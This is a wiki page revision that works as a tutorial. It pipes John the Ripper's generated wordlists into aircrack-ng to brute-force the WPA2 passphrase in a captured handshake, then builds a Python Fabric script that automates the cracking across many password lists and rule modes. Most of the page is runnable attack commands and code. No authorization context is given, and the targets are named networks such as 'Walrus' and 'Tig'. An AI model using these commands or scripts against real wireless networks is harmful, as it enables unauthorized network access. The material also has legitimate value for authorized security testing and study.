Aircrack and John the Ripper: Difference between revisions
From charlesreid1
| Line 16: | Line 16: | ||
The way we'll be using John the Ripper is as a password wordlist generator - not as a password cracker. We'll be giving John the Ripper a wordlist, and based on the options we give it at the command line, it will generate a new, longer word list with many variations based on the original wordlist. By operating John in different modes, we can get different resulting wordlists. This allows us to potentially turn a wordlist of 10,000 words into a wordlist of 8 million words (meaning, we should choose wisely: we'll either be waiting a few minutes, or a few years.) | The way we'll be using John the Ripper is as a password wordlist generator - not as a password cracker. We'll be giving John the Ripper a wordlist, and based on the options we give it at the command line, it will generate a new, longer word list with many variations based on the original wordlist. By operating John in different modes, we can get different resulting wordlists. This allows us to potentially turn a wordlist of 10,000 words into a wordlist of 8 million words (meaning, we should choose wisely: we'll either be waiting a few minutes, or a few years.) | ||
==John-Aircrack Command== | ==John-Aircrack Command== | ||
Revision as of 18:12, 13 August 2015
What is Aircrack
We have met Aircrack before - it's a tool used for sniffing out the right WEP and WPA packets to crack the network's encryption. One of the last steps, once you've captured the proper packets, is to brute-force guess the WPA passphrase. This is where John can help.
What is John
John the Ripper is a tool for guessing weak passwords on user accounts. It's good at generating a whole bunch of random passwords that are based on words, or modifications of words, or numbers.
You can use John in conjunction with Aircrack, by telling John to just print out all of the words it has generated to stdout, and then using stdout as the aircrack wordlist/dictionary. This allows you to just let John crank away. There are certainly better ways to do it, but this can be a quick check for weak passwords.
Getting Set Up
To use Aircrack with John, you'll need to make sure you have both installed. If you're on Kali you're good to go.
How John Works
The way we'll be using John the Ripper is as a password wordlist generator - not as a password cracker. We'll be giving John the Ripper a wordlist, and based on the options we give it at the command line, it will generate a new, longer word list with many variations based on the original wordlist. By operating John in different modes, we can get different resulting wordlists. This allows us to potentially turn a wordlist of 10,000 words into a wordlist of 8 million words (meaning, we should choose wisely: we'll either be waiting a few minutes, or a few years.)
John-Aircrack Command
There is no "final" John-to-Aircrack command, at least not until the passphrase is cracked.
The first one I tried looked like this:
$ john -w=10_million_password_list_top_1000.txt --session=attack1 --stdout | aircrack-ng -a 2 -e ASDF asdf-01.cap -w -
Let's go through this one bit at a time:
--session=attack1: this tells John to keep track of where it is at in the process and what passwords it has guessed, which will make it possible to restore the session in case the process dies or is interrupted.
--stdout: print all words that John would have otherwise tried itself to stdout, so that some other program can use them
-a 2: this specifies the encryption protocol as WPA2
-e ASDF: this is the name of the wireless network whose WPA passphrase we're trying to crack
asdf-01.cap: this is the capture file from our earlier-run airomon-ng command.
-w -: the -w flag specifies a wordlist. Since, in this case, - by itself represents stdin (what John is piping in), this means we're using John's generated words as an aircrack wordlist.
Using Multiple Wordlists with John the Ripper
You can combine xargs with John to use one wordlist at a time:
$ ls ~/wordlists/*.txt | xargs -t -I% john --session=attack1 --wordlist=% --stdout | aircrack-ng -a 2 -e ASDF asdf-01.cap -w -
So to put it all together: we will issue a one-line command. It will iterate through each wordlist in a given directory. For each wordlist, it will run John with that wordlist, and John will print a variety of words to try based on that wordlist. That output is then piped to Aircrack.
$ ls ~/wordlists/*.txt | xargs -t -I% john --session=attack1 --wordlist=% --stdout | aircrack-ng -a 2 -e ASDF asdf-01.cap -w -
This will use all of our wordlists to try and crack the encryption on the network ASDF, where airodump created asdf-01.cap and the file asdf-01.cap has at least one handshake in it.
Scripting with Python
Aircrack's main/default interface is NOT scripting-friendly (example: when you run aircrack on a capture file, and it finds a matching passphrase, it prints the result to the screen - but it doesn't save it to a file. Inexplicably. So if you accidentally close your window after ten days of cranking away, then, too bad, I guess?!?)
Then there's the complication that if you run these jobs in the background with tmux or screen, the output gets completely screwed up if you change window widths, and you CANNOT see Aircrack's results printed to the screen after you screw up the output. What a mess.
So let's talk about how to make them slightly more scriptable with Python.
Installing Fab
We'll use fab, which gives Python Makefile-like functionality.
Before, we were stringing together a long command, where we piped names of text files from ls to john to aircrack.
Let's use fab instead. We'll be replacing this command line:
ls ~/codes/seclists/Passwords/*.txt | xargs -t -I% john -ssession=tig --wordlist=% --stdout | aircrack-ng -a 2 -e Tig tig-02.cap
Getting List of Wordlist Files
First step is to get a Python list populated by text file names:
get_wordlist_list():
raw = local('/bin/ls -1 /root/codes/seclists/Passwords/*.txt', capture=True)
wordlist_list = raw.splitlines()
and run like so:
$ fab get_wordlist_list
Using the List of Wordlists
Now how can we use this list of wordlists?
Here's a quick example of constructing a call to john using a particular wordlist:
def get_wordlist_list():
raw = local('/bin/ls -1 /root/codes/seclists/Passwords/*.txt', capture=True)
wordlist_list = raw.splitlines()
for iw,wordlist in enumerate(wordlist_list):
print "john --session=sess%d --wordlist=%s --stdout"%(iw,wordlist)
with the result:
$ fab get_wordlist_list [localhost] local: /bin/ls -1 /root/codes/seclists/Passwords/*.txt john --session=sess0 --wordlist=/root/codes/seclists/Passwords/10k_most_common.txt --stdout john --session=sess1 --wordlist=/root/codes/seclists/Passwords/10_million_password_list_top_1000000.txt --stdout john --session=sess2 --wordlist=/root/codes/seclists/Passwords/10_million_password_list_top_100000.txt --stdout john --session=sess3 --wordlist=/root/codes/seclists/Passwords/10_million_password_list_top_10000.txt --stdout john --session=sess4 --wordlist=/root/codes/seclists/Passwords/10_million_password_list_top_1000.txt --stdout john --session=sess5 --wordlist=/root/codes/seclists/Passwords/10_million_password_list_top_100.txt --stdout john --session=sess6 --wordlist=/root/codes/seclists/Passwords/10_million_password_list_top_500.txt --stdout john --session=sess7 --wordlist=/root/codes/seclists/Passwords/500-worst-passwords.txt --stdout john --session=sess8 --wordlist=/root/codes/seclists/Passwords/adobe100.txt --stdout john --session=sess9 --wordlist=/root/codes/seclists/Passwords/alleged-gmail-passwords.txt --stdout john --session=sess10 --wordlist=/root/codes/seclists/Passwords/Basic_Spanish_List.txt --stdout john --session=sess11 --wordlist=/root/codes/seclists/Passwords/best1050.txt --stdout john --session=sess12 --wordlist=/root/codes/seclists/Passwords/best110.txt --stdout john --session=sess13 --wordlist=/root/codes/seclists/Passwords/best15.txt --stdout john --session=sess14 --wordlist=/root/codes/seclists/Passwords/bible-nocount.txt --stdout john --session=sess15 --wordlist=/root/codes/seclists/Passwords/bible-withcount.txt --stdout john --session=sess16 --wordlist=/root/codes/seclists/Passwords/carders.cc.txt --stdout john --session=sess17 --wordlist=/root/codes/seclists/Passwords/conficker.txt --stdout john --session=sess18 --wordlist=/root/codes/seclists/Passwords/darkc0de.txt --stdout john --session=sess29 --wordlist=/root/codes/seclists/Passwords/mubix_izmy.txt --stdout john --session=sess30 --wordlist=/root/codes/seclists/Passwords/myspace-withcount.txt --stdout john --session=sess32 --wordlist=/root/codes/seclists/Passwords/passwords_clarkson_82.txt --stdout john --session=sess33 --wordlist=/root/codes/seclists/Passwords/passwords_john.txt --stdout [...]
Niiiiice.
Trying Different John Modes
Now that we're scripting everything in Python, we can not only use John with each different wordlist, but we can also try John in different modes.
For example, if we wanted to sweep through all of these password lists multiple times, and try non-numeric passwords first, then numerical only, then alphanumeric, etc., then we could set up a loop over different rules.
Default Rules
We can start with John's default rules by adding --rules to the call to john.
Single Crack Mode
You can also crack in Single Crack mode, which doesn't use a wordlist, but instead tries to crack the password using the login/GECOS information as passwords" (meaning, it tries passwords that are variations on the username - I think. Not sure how this works).
$ john --rules:single --stdout
Single Crack Mode with a Wordlist
You can also pass in a wordlist in single mode,
$ john --rules:single --wordlist:short.lst --stdout
Comparison of John Modes
A quick comparison of John modes can be done with a password file.
I wanted to see how the 10,000 most common passwords list would change if I changed the rules John was using. Here's a table summarizing what I found:
| Rule | Number of Words | Examples | Notes |
|---|---|---|---|
| No rules | 10,000 | mustang, monkey, shadow | This uses the wordlist verbatim, without modifying it. Using it this way, you don't gain much using John with Aircrack, versus using Aircrack alone. |
--rules
|
422,753 | mustang1, mustangs, Mustang | This tries some basic manipulations of the file to get different variations of each password. |
--rules:single
|
8,258,682 | mustang, mustang5, musta, mustangmustang, mustangS | Exhaustive. This blows up the size of the word file to be pretty enormous. |
John Power Tool Rules
Loooooots of good info on improving on john's rules, particularly if you're cracking lots of passwords and you want to improve your search methodology as you go:: https://www.owasp.org/images/a/af/2011-Supercharged-Slides-Redman-OWASP-Feb.pdf
Sending Aircrack Output to File
One of the problems I was having when using the one-liner with everything piped to everything else was, the output was messed up with screen and I couldn't see what the key was once it had been cracked.
We can save ourselves this headache by using the -l [filename] flag to write the key to a file.
Checking for the existence of this file will also give us a convenient method to check if a wireless network has been successfully cracked.
Logging
It's important to keep track of what we've tried with some kind of log file. To print a message to a log file, we can use the Python logging library:
import logging
logging.basicConfig(filename='example.log',level=logging.DEBUG)
logging.info('You are here.')
Now if we want to add logging to our fabfile, we just include those statements above.
Putting It All Together
Now we have the pieces we need to write a Fabric script to crack these wireless networks.
First, we have our import statements, configuration, and some simple information functions:
from fabric.api import local
import logging
import os
logging.basicConfig(filename='log_john.log',level=logging.DEBUG)
def get_essid_cap_crack():
essid = "Walrus"
cap = "/root/home-02.cap"
crack = "crack_"+essid+".txt"
return [essid,cap,crack]
def get_wordlist_dir():
return "/root/wordlists/walrus/"
def get_wordlist_list():
"""
This returns a list of wordlists to try.
"""
find_cmd = 'find'
find_loc = get_wordlist_dir()
find_args = '-type f'
raw = local( ' '.join([find_cmd, find_loc, find_args]) , capture=True)
wordlist_list = raw.splitlines()
return wordlist_list
These functions will give us convenient access to the information we need. Now we'll assemble our different John+Aircrack calls, based on what modes, methods, and wordlists we want to use.
def try_wordlists():
"""
This procedure constructs John-Aircrack calls for scripting john modes and wordlists.
The pseudocode is:
for each mode
for each password file
for each capture file
"""
cmds_tried = []
modes = ['', '--rules']
for mode_arg in modes:
wordlist_list = get_wordlist_list()
for iw,wordlist in enumerate(wordlist_list):
session_arg = ""#--session=sess%d"%(iw)
wordlist_arg = "--wordlist=%s"%(wordlist)
stdout_arg = "--stdout"
## Here is the call to john
#logging.info( ' '.join(['john',mode_arg,session_arg,wordlist_arg,stdout_arg]) )
essid, capfile, crackfile = get_essid_cap_crack()
wpamode_arg = '-a 2'
essid_arg = '-e '+essid
wordlist_stdin = '-w -'
outfile_arg = '-l '+crackfile
## Here is the call to Aircrack
#logging.info( ' '.join(['aircrack-ng',wpamode_arg,essid_arg,outfile_arg,capfile,wordlist_stdin]) )
# call john + aircrack
final_cmd = " ".join(['john',mode_arg,session_arg,wordlist_arg,stdout_arg,
'|',
'aircrack-ng',wpamode_arg,essid_arg,outfile_arg,capfile,wordlist_stdin])
logging.info(final_cmd)
local(final_cmd)
cmds_tried.append(final_cmd)
# once we reach this point, we've "finished"
# check for crack file
# if there, let's gtfo
if os.path.isfile(crackfile):
print "*"*40
print "*"*40
print "*"*40
print "HOORAY!!!"
print "*"*40
print "*"*40
print "*"*40
break
if os.path.isfile(crackfile):
break
report(crackfile,cmds_tried)
We want to print a report whether we succeeded or not, but if the attack succeeded we don't care about anything but the passphrase, whereas if the attack failed it will be important to have a record of what commands were tried.
Here is the report function:
def report(crackfile,cmds_tried):
"""
This prints a report of the result.
"""
essid, cap, crackfile = get_essid_cap_crack()
if os.path.isfile(crackfile):
print "\n"*3
print "----------------------"
print "John + Aircrack: SUCCESS"
print ""
print "ESSID:"
print essid
print "Passphrase:"
local('cat '+crackfile)
print "\n"*3
else:
print "\n"*3
print "----------------------"
print "John + Aircrack: FAILURE"
print ""
print "ESSID:"
print essid
print ""
print "Commands attempted:"
for i in cmds_tried:
print " "+i
print "\n"*3
The John + Aircrack Attack Fabric Script
Now we can assemble the final Python Fabric script to crack wireless networks with John + Aircrack, allowing us to build complex logic into what combinations and wordlists to try.
See the air-jordans GitHub library for the Fabric example stitching together Aircrack and John the Ripper.